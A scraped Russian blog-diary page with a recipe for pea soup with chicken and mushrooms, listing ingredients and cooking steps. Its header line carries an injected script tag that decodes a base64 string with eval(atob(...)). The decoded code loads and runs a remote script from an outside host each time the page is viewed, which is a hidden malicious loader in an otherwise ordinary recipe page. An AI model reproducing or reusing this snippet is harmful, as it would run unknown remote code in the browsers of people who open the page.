Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz12eXoiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Гороховый суп с курицей и грибами
Куриное филе — 300 гр
Грибы — 150 гр
Горох — 0,5 стакана
Картошка — 2 шт
Лук — 1 шт
Морковь — 1 шт
Горчица — 1 чайная ложка
Куркума — на кончике чайной ложки (по желанию, для жёлтого цвета)
Растительное масло — для жарки
Соль и специи — по вкусу
Зелень
Горох замочить на ночь.
Куриную грудку варить вместе с горохом в подсоленной кипящей воде до готовности.
Грудку нарезать на небольшие кусочки.
Картошку нарезать кубиками и отправить в бульон, варить минут 15.
Сделать зажарку: морковь натереть на тёрке, лук нарезать маленькими кубиками и обжарить до золотистого цвета.
В зажарку добавить грибы и горчицу, тушить на маленьком огне 5 минут.
Переложить все в суп, добавить куркуму, соль и перец.
Варить суп ещё минут 10, выключить и дать супу настоятся.
Подавать, посыпав зеленью.
Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |